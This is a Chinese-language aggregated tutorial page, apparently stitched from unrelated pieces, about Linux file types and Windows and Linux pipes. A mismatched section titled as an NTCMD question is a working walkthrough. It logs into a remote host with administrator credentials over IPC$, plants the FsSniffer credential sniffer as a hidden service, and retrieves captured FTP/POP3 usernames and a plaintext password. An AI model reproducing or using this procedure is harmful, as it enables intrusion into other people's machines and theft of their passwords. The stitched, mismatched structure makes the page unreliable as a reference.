本文目录一览:
linux操作系统文件类型有哪几种
Linux文件类型常见的有:普通文件、目录文件、字符设备文件和块设备文件、符号链接文件等,现在我们进行一个简要的说明。
1、普通文件
我们用
ls
-lh
来查看某个文件的属性,可以看到有类似-rwxrwxrwx,值得注意的是第一个符号是
-
,这样的文件在Linux中就是普通文件。这些文件一般是用一些相关的应用程序创建,比如图像工具、文档工具、归档工具...
....
或
cp工具等。这类文件的删除方式是用rm
命令。
2、目录文件
当我们在某个目录下执行,看到有类似
drwxr-xr-x
,这样的文件就是目录,目录在Linux是一个比较特殊的文件。注意它的第一个字符是d。创建目录的命令可以用
mkdir
命令,或cp命令,cp可以把一个目录复制为另一个目录。删除用rm
或rmdir命令。
3、字符设备或块设备文件
区块(block)设备文件
:就是一些储存数据,
以提供系统随机存取的接口设备,举例来说,硬盘与软盘等就是啦。
你可以随机的在硬盘的不同区块读写,这种装置就是成组设备。你可以自行查一下/dev/sda看看,
会发现第一个属性为[
b
]。
字符(character)设备文件:亦即是一些串行端口的接口设备,
例如键盘、鼠标等等。这些设备的特色就是一次性读取的,不能够截断输出。
举例来说,你不可能让鼠标跳到另一个画面,而是滑动到另一个地方。第一个属性为
[
c
]。
4.
数据接口文件(sockets):
数据接口文件(或者:套接口文件),这种类型的文件通常被用在网络上的数据承接了。我们可以启动一个程序来监听客户端的要求,
而客户端就可以透过这个socket来进行数据的沟通了。第一个属性为
[
s
],
最常在/var/run这个目录中看到这种文件类型了。
5、符号链接文件:
当我们查看文件属性时,会看到有类似
lrwxrwxrwx,注意第一个字符是l,这类文件是链接文件。是通过ln
-s
源文件名
新文件名创建的。这和Windows操作系统中的快捷方式有点相似。
NTCMD的操作命令是什么?
在WINDOWS NT上实现远程进程间同步的一种方法,Microsoft公司由Win32API为服务器进程和远程客户机上的进程间通讯提供了单向或双向管道。
命名管道是通过网络来完成进程间的通信,它屏蔽了底层的网络协议细节。我们在不了解网络协议的情况下,也可以利用命名管道来实现进程间的通信。
1.命名管道充分利用了Windows NT和Windows 2000内建的安全机制。
2.将命名管道作为一种网络编程方案时,它实际上建立了一个客户机/服务器通信体系,并在其中可靠地传输数据。
3.命名管道是围绕Windows文件系统设计的一种机制,采用“命名管道文件系统(Named Pipe File System,NPFS)”接口,因此,客户机和服务器可利用标准的Win32文件系统函数(例如:ReadFile和WriteFile)来进行数据的收发。-windows管道文件
4.命名管道服务器和客户机的区别在于:服务器是唯一一个有权创建命名管道的进程,也只有它才能接受管道客户机的连接请求。而客户机只能同一个现成的命名管道服务器建立连接。
5.命名管道服务器只能在Windows NT或Windows 2000上创建,所以,我们无法在两台Windows 95或Windows 98计算机之间利用管道进行通信。不过,客户机可以是Windows 95或Windows 98计算机,与Windows NT或Windows 2000计算机进行连接通信。-windows管道文件
6.命名管道提供了两种基本通信模式:字节模式和消息模式。在字节模式中,数据以一个连续的字节流的形式,在客户机和服务器之间流动。而在消息模式中,客户机和服务器则通过一系列不连续的数据单位,进行数据的收发,每次在管道上发出了一条消息后,它必须作为一条完整的消息读入。-windows管道文件
FsSniffer只能在Windows 2000中使用,可以捕捉到本机和基于非交换环境局域网的POP3/FTP用户名和密码。
一、本地使用
FSSNIFFER -S Bind IP Port Control Password
Bind IP:指绑定的IP地址,通常就是本地主机IP地址。
Port:控制的端口,以后要通过这个端口登陆上去查看结果。
Control Password:登陆时的密码。
登陆上去后的命令
Show Result:查看捕获的记录
Quit:退出
ShutDown:结束Sniffer的运行
二、远程使用
例如:得到主机211.152.188.1的一个属于管理员组的帐号test:test,首先登录。
D:\net use \\211.152.188.1\ipc$ test /user:test
The command completed successfully.
将fssniffer.exe复制到远程主机。(也可以用流光IV中提供的工具“种植者”来做这件事情)
D:\copy "d:\My Documents\ShadowSniffer\Release\FsSniffer.exe" \\211.152.188.1\
dmin$
1 file(s) copied.
利用流光IV中的NTCMD启动FsSniffer.EXE,并将器安装成为服务
Windows NT/2000 NTCmd Ver 0.1 for Fluxay IV
Written by Assassin,
NTCMDver
Microsoft Windows 2000 [Version 5.00.2195]
NTCMDfssniffer.exe -I test test ShadowSniffer 211.152.188.1 7 123456
Flux Shadow Sniffer(FTP/POP3) Edition, Written by Assassin 2001
TestSniffer1 installed.
NTCMD
这样在远程主机上面安装了一个服务ShadowSniffer。
用net命令启动服务
NTCMDnet start shadowsniffer
The ShadowSniffer service is starting..
The ShadowSniffer service was started successfully.
安装成为服务的格式:
FsSniffer -I Username Password Service Name Bind Local IP Port Control Password
UserName:远程主机的用户名(必须具有超级用户权限)
Passwod:远程主机的密码
Service Name:安装的服务名称,如果安装失败,可以将FsSniffer.exe改名再试。
Bind Local IP:远程主机的IP。某些主机具有两个IP地址,这是就需要根据需要选择监听的IP地址(例如:局域网和外网)
Port:远程控制的端口
Control Password:远程控制的密码
过一段时间就可以登陆到FsSniffer开的端口7上面,查看结果了。
D:telnet 211.152.188.1 7
Control Password: **************
Banyet Soft Labs. 1995-2001 All Rights Reserved.
Written by Assassin, Server Edition FluxShadow@21cn.com
FluxShadow Remote FTP/POP3 Sniffer Beta 1, Pleased to See You Again!
Flux Shadow Sniffershow result
Flux Shadow Sniffer Edition Results
211.152.188.112(1106)-211.152.188.1(8213) USER zjf
211.152.188.112(1106)-211.152.188.1(8213) PASS 1qaz4rfv
211.152.188.1(8213)-211.152.188.112(1106) User zjf logged in.
211.152.188.1(8199)-211.152.188.112(1107) USER zjf
211.152.188.1(8199)-211.152.188.112(1107) PASS 1qaz4rfv
Total 10 Sniffered
有名管道和无名管道的区别
无名管道和有名管道是Linux系统内核的特殊文件,用于进程之间的通信。
无名管道相当于一个队列结构,fd[1]为写入端(入队),fd[0]为读出端(出队)。其中信息读出后即删除,再次读取时即为下一个信息。
相关函数:[1]
函数形式:intpipe(int fd[2])
功能:创建无名管道文件。无名管道是一个特殊文件,不可由open函数创建。
参数:fd[2]有两个成员 fd[0]和 fd[1],他们都是文件描述符。 管道有固定的读端 fd[0]和固定的写端 fd[1]。
返回值:成功返回 0,出错返回-1。
说明:
1.管道是创建在内存中,进程结束空间释放,管道不复存在。
2.无名管道和有名管道都是半双工通信,实现双向通信需要建立两个管道。
3.无名管道是linux特殊文件,不能在与windows共享的文件夹中创建。
4.无名管道只用于父子进程之间,有名管道可用于无亲缘关系的进程之间。
怎么解决windows下管道阻塞的问题
使用PeekNamedPipe查询管道内的数据,有则读取,没有则不读。主要是防止ReadFile堵塞。